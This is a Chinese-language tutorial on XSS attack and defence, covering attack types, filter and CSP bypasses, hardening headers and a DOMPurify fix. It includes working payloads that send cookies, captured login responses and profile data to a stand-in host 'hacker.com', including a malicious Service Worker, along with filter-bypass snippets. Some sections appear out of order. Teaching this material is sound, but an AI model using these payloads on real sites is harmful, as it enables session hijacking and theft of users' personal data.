一、XSS攻擊基礎概念
1.1 什么是XSS攻擊
XSS(Cross-Site Scripting,跨站腳本攻擊)是一種將惡意腳本注入到可信網站中的攻擊手段。當用戶訪問被注入惡意代碼的頁面時,瀏覽器會執行這些代碼,導致:
用戶會話被劫持(盜取Cookie)
網頁內容被篡改
敏感信息被竊取
惡意軟件傳播
1.2 為何稱為跨站腳本
“跨站”指攻擊者利用第三方網站漏洞實施攻擊,“腳本”強調攻擊載體是JavaScript等腳本語言。與CSRF的區別在于:
XSS:利用用戶對網站的信任
CSRF:利用網站對用戶瀏覽器的信任
1.3 攻擊原理核心
二、XSS攻擊類型深度解析
2.1 反射型XSS(非持久化)
攻擊流程:
攻擊者制作惡意URL:
http://victim.com/search?q=<script>stealCookie()</script>
誘導用戶點擊(通過郵件/即時消息)
服務器返回包含惡意腳本的搜索結果頁
用戶瀏覽器執行腳本
經典案例:
html
<!-- 服務端代碼(PHP示例) --> <div>搜索結果:<?php echo $_GET['q']; ?></div><!-- 惡意URL --> http://victim.com/search?q=<script>new Image().src='http://hacker.com/steal?cookie='+document.cookie</script>
2.2 存儲型XSS(持久化)
攻擊流程:
攻擊者在論壇/評論區提交含惡意腳本的內容
內容存儲到數據庫
其他用戶訪問包含該內容的頁面
惡意腳本自動執行
高危場景:
javascript
// 用戶資料頁攻擊 <script>fetch('/change-email', {method: 'POST',body: 'email=hacker@evil.com'}) </script>
2.3 DOM型XSS
特殊性質:完全不經過服務器,純客戶端漏洞
攻擊模型:
漏洞代碼示例:
html
<script>// 從URL片段獲取參數const token = location.hash.substring(1);document.write("Token: " + token); </script><!-- 惡意URL --> http://victim.com#<img src=x οnerrοr=alert(document.cookie)>
三、高級XSS攻擊技術
3.1 繞過過濾的編碼技巧
HTML實體編碼繞過:
javascript
// 原始:<script>alert(1)</script> // 繞過:<scr<script>ipt>alert(1)</script>
Unicode混淆:
javascript
"\u003cscript\u003ealert(1)\u003c/script\u003e"
SVG矢量圖攻擊:
html
<svg οnlοad="alert(document.domain)"><animate attributeName="x" values="0;100" begin="0s" dur="5s"/> </svg>
3.2 基于CSP繞過的攻擊
即使有Content Security Policy保護,仍可能被繞過:
http
Content-Security-Policy: script-src 'self' https://cdn.example.com
攻擊方式:
html
<!-- 利用JSONP端點 --> <script src="https://cdn.example.com/jsonp?callback=alert(1)"></script>
3.3 Service Worker持久化攻擊
javascript
// 注冊惡意Service Worker navigator.serviceWorker.register('hacker-sw.js').then(() => {console.log('SW registered!'); });// hacker-sw.js內容 self.addEventListener('fetch', event => {if(event.request.url.includes('login')) {event.respondWith(fetch(event.request).then(res => {const clone = res.clone();clone.text().then(data => {fetch('https://hacker.com/log', { method: 'POST', body: data });});return res;}));} });
四、企業級防御方案
4.1 輸入驗證與輸出編碼
數據類型 過濾規則 編碼方法 HTML正文 禁用< > & " ' HTML實體編碼 HTML屬性 嚴格限制屬性字符集[a-zA-Z0-9_-] 屬性引號包裹+URL編碼 JavaScript變量 禁止用戶輸入直接進入JS執行環境 Unicode轉義 CSS值 驗證color/url等格式 CSS轉義序列 4.2 內容安全策略(CSP)最佳實踐
http
Content-Security-Policy: default-src 'none'; script-src 'self' 'sha256-abc123...' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src 'self'; frame-ancestors 'none'; form-action 'self';upgrade-insecure-requests;
4.3 深度防御策略
Cookie保護:
http
Set-Cookie: sessionId=123; HttpOnly; Secure; SameSite=Strict
XSS防御頭:
http
X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
現代瀏覽器特性:
html
<!-- 啟用Trusted Types API --> <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
Web Components:Shadow DOM可能繞過傳統檢測
WebAssembly:內存操作可能被利用
Serverless架構:無服務器環境的XSS防護挑戰
6.2 自動化檢測工具
工具名稱 類型 檢測能力 OWASP ZAP 動態掃描 自動爬取+啟發式檢測 XSStrike 高級探測 上下文分析+繞過檢測 DOM Invader 瀏覽器插件 DOM型XSS可視化跟蹤 Burp Suite Pro 商業工具 全流程漏洞檢測 6.3 安全開發全流程
五、實戰:從漏洞挖掘到防御(電商網站案例)
5.1 漏洞發現
測試payload:
javascript
"><svg/οnlοad=console.log(`XSS:${document.cookie}`)>
響應分析:
html
<!-- 返回頁面片段 --> <div class="product-description">"><svg/οnlοad=console.log(`XSS:${document.cookie}`)> </div>
5.2 漏洞利用
構造高級攻擊鏈:
javascript
fetch('/api/user/profile').then(res => res.json()).then(data => {const pl = new URLSearchParams();pl.append('email', data.email);pl.append('phone', data.phone);fetch('https://hacker.com/exfil', {method: 'POST',body: pl});});
5.3 修復方案
Node.js修復代碼:
javascript
// 使用DOMPurify庫 const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window);app.get('/product', (req, res) => {const desc = DOMPurify.sanitize(req.query.description, {ALLOWED_TAGS: ['p', 'br', 'strong'],FORBID_ATTR: ['style', 'onclick']});res.send(`<div class="desc">${desc}</div>`); });
六、前沿研究與擴展閱讀
6.1 Web新特性中的XSS
研究報告數據:根據Acunetix 2023全球應用安全報告,XSS漏洞占所有Web漏洞的23%,平均修復時間為97天,是滲透測試中最常被利用的漏洞之一。
附錄:XSS速查表
攻擊場景 防護方案 工具支持 富文本編輯器 嚴格白名單+CSS過濾 DOMPurify/clsanitize AJAX數據渲染 前端模板引擎自動編碼 Vue/React/Angular URL參數處理 URL解碼+嚴格驗證 URLSearchParams Cookie訪問 HttpOnly+Secure屬性 Web框架配置 第三方庫漏洞 SCA(軟件成分分析)工具 Snyk/Dependabot 本指南從基礎原理到企業級防護策略,覆蓋了XSS攻防的完整知識體系。實際防御需要結合安全編碼、自動化測試、運行時防護的多層縱深防御,才能有效應對不斷進化的XSS攻擊手法。